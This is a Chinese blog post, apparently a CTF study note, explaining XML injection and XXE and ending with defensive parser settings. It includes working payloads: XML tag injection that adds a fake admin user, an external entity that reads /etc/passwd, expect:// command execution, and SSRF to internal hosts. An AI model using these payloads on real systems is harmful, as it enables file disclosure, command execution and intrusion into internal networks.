ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

XML注入

2022-01-03 17:31:27  阅读:173  来源: 互联网

标签:XML 文件 xml admin haha DTD 注入


XML注入

复现使用的题目为buuoj中的[NCTF2019]Fake XML cookbook
1和[NCTF2019]True XML cookbook
1
参考链接为https://xz.aliyun.com/t/6887#toc-5,写的很全面,写的比我好多了,本篇是用于个人整理知识,同时分享一些心得。

XML介绍

XML和html相对,xml专注于数据格式的传输,而html专注于数据的展示。

基本格式

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore>                                                 <!--根元素-->
<book category="COOKING">        <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>           <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>                  <!--book的子元素-->
<year>2005</year>                                     <!--book的子元素-->
<price>30.00</price>                                  <!--book的子元素-->
</book>                                                 <!--book的结束-->
</bookstore>                                       <!--bookstore的结束-->

这份xml文件用于记录的元素为bookstore,这个元素有一个子元素,为book,book有几个属性。
xml作为一种标记语言,需要注意的是闭合框。这些框说明了各个元素的逻辑关系。

DTD

文件的规范,约束文件的内容。

<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

有点像提前交代了一些信息,同时对文件内容做补充。

DTD可以从外部引用
本地

<!DOCTYPE 根元素名称 SYSTEM "dtd路径">

网络

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

注入

插入用户

<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id="1">
    <username>admin</username>
    <password>admin</password>

    </admin>
    <admin id="2">
    <username>root</username>
    <password>root</password>
    </admin>
</manager>

在这个地方,如果username或password字段是可控的,就可以通过闭合尖括号来直接插入用户
假如password字段可控:

<manager>
    <admin id="1">
    <username>admin</username>
    <password>【admin</password>
    </admin>

    <admin id="666">
    <username>hacker</username>
    <password>haha</password>
    </admin>】

    <admin id="2">
    <username>root</username>
    <password>root</password>
    </admin>
</manager>

这里方括号内的是我们注入的部分,可以看到我们直接硬填了一个用户进入数据库。

XML外部实体注入(XXE)

任意文件读取

这里需要用到刚刚所说的外部引用DTD。我们将想要读的文件作为外部DTD读入,然后在回显部位选择DTD元素的地址,即可拿到想要的文件内容。
E.g

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY haha SYSTEM  "file:///etc/passwd">
]>
<user>
  <username>&haha;</username>
  <password>hack</password>
</user>

我们声明了一个实体,名字叫做haha,然后这个实体的内容在这个/etc/passwd里捏哈哈( ̄y▽ ̄)╭ Ohohoho.....
然后这个例子中,如果你登陆失败,他是会回显,【username】登陆失败。所以我们在这个username字段选择这个haha实体的位置,然后就会回显出我们要的内容了。

命令执行

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

使用了expect伪协议,需要php带有相关扩展。

内网攻击

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>

可以从解析xml的主机中转,向内网的机器发请求。
这里可以从主机的这两个文件探测内网信息

/etc/hosts      静态映射
/proc/net/arp   arp表

防御措施

这里也搬一下大哥的,感觉简单实用

  1. 通过开发语言的方法,禁止使用外部实体
    php:
libxml_disable_entity_loader(true);

java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  1. 过滤用户提交数据
    关键字,如<!DOCTYPE 和 <!ENTITY

  2. 不允许XML文件含有自行定义的DTD
    即不准中间定义,感觉这个方法是最好的,只允许从特定的文件读取DTD,不允许中间插入定义,一了百了。

标签:XML,文件,xml,admin,haha,DTD,注入
来源: https://www.cnblogs.com/AikN/p/15760003.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有